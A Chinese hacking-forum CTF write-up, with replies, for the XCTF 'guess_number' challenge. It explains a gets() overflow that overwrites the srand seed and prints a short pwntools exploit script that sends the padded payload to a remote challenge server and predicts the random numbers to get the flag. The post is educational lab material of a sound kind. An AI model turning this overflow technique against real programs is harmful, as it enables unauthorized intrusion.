吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 7250|回复: 17
收起左侧

[CTF] XCTF攻防世界guess_number

  [复制链接]
yaoyao7 发表于 2019-10-1 20:06
guess_number题解

首先进行程序基本信息检查:

basic_info.png

看起来是正常程序,大概就是输入一个name,然后输入一个数字,相匹配就成功。(初步猜测是随机数233333)

IDA查看一下源代码:

main.png

很幸运,程序没有进行混淆或者反调,直接看到了真实的源代码。在main函数里,我们注意到有一个gets()函数,这是一个危险函数,很可能会出问题。

继续往下看,下面的for循环是处理输入的数字部分,果然是一个随机数字,猜对了。在这里,有一个if判断,我们是否可以进行覆盖使判断条件成立直接执行到success?不能,因为程序开启了cannary,没办法进行覆盖。

最后在输入正确的数字后会执行一个sub_c3e()函数,进入函数查看:

sub_C3E.png

直接执行了"cat flag"。

总结一下,我们就是要输入正确的随机数,然后让程序执行到sub_c3e()函数,就可以看到flag了。那么如何猜对随机数字呢?

需要注意在产生随机数的前面有个gets()函数,而且没有对输入的字符长度进行限制。来看一下栈中的情况:

stack.png

我们可以通过var_30对seed进行覆盖,这样一来生成的随机数就变成我们已知的了。  

具体实现:  
1. 通过垃圾字符覆盖var_30到seed:“a” * 0x20
2. 使用p64()把1按照64位的方式进行排列产生随机数
3. 调用srand()生成随机数
4. 利用循环多次输入进行比较,直到相等。

exp:

[Python] 纯文本查看 复制代码
from pwn import *
from ctypes import *

sh = remote('111.198.29.45',43114)
e=ELF('./guess_number')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'A' * 0x20 + p64(1)

sh.sendlineafter("name:",payload)

libc.srand(1)
for i in range(10):
    sh.sendlineafter("number:",str(libc.rand()%6+1))

print sh.recvall()



最终获取到flag:

flag.png

免费评分

参与人数 5威望 +1 吾爱币 +10 热心值 +5 收起 理由
淡灬看夏丶恋雨 + 1 + 1 我很赞同!
Hmily + 1 + 7 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
笙若 + 1 + 1 谢谢@Thanks!
RoB1n_Ho0d + 1 用心讨论,共获提升!
xxxlsy + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

闲月疏云 发表于 2019-10-2 19:36
本帖最后由 闲月疏云 于 2019-10-2 19:39 编辑
yaoyao7 发表于 2019-10-2 19:12
原本的意思是通过一些覆盖强行使条件成立,不一定就是覆盖.text区段。是我没表达清楚,抱歉

那这样的话有Canary应该也没什么影响吧……?Canary不保护局部变量本身不被覆盖吧(印象中是的,没打过pwn,错了请轻喷orz),没有NX保护能不能直接shellcode?
 楼主| yaoyao7 发表于 2019-10-2 19:12
闲月疏云 发表于 2019-10-2 18:14
pwn感觉也都是脑洞题玩不来orz
不过“覆盖使判断条件成立直接执行到success”这个思路有点清奇啊,不知道 ...

原本的意思是通过一些覆盖强行使条件成立,不一定就是覆盖.text区段。是我没表达清楚,抱歉
a农村老牛 发表于 2019-10-1 20:42
阿阿阿阿阿阿阿阿阿阿,好难学啊 有技术真好
pazmx 发表于 2019-10-1 21:55
支持一下
a1069517910 发表于 2019-10-1 22:00
感谢楼主分享!
cdevil 发表于 2019-10-1 23:02
python3 ctypes确实好用
轩子巨2兔 发表于 2019-10-2 03:28
看不懂。。支持一波吧
古之恶来 发表于 2019-10-2 09:01
感谢楼主分享
 楼主| yaoyao7 发表于 2019-10-2 12:59
cdevil 发表于 2019-10-1 23:02
python3 ctypes确实好用

是啊 感觉神器2333
闲月疏云 发表于 2019-10-2 18:14
pwn感觉也都是脑洞题玩不来orz
不过“覆盖使判断条件成立直接执行到success”这个思路有点清奇啊,不知道是不是我理解错了,难道要堆栈覆盖到.text吗……
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-27 03:01

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表